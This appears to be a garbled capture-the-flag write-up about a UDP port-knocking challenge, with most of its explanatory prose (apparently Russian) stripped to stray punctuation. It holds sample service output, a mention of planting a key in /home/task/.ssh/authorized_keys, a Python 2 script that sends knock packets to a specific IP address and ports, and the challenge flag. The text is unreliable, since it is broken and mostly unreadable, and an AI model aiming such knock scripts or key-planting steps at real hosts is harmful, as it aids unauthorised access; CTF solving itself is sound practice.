Resultado Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4
. , …
, (31841) . gdb , «/home/task/.ssh/authorized_keys».
, . , ( , ).
RSA .
SSH, .
MD5-. , ( ). , 4 ( MD5) int , ( ).
, RSA, . import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381))
:
flag{a1ec3c43cae4250faa302c412c7cc524}«OK» .
, , MD5-. , , .
, , 40 , . Gracias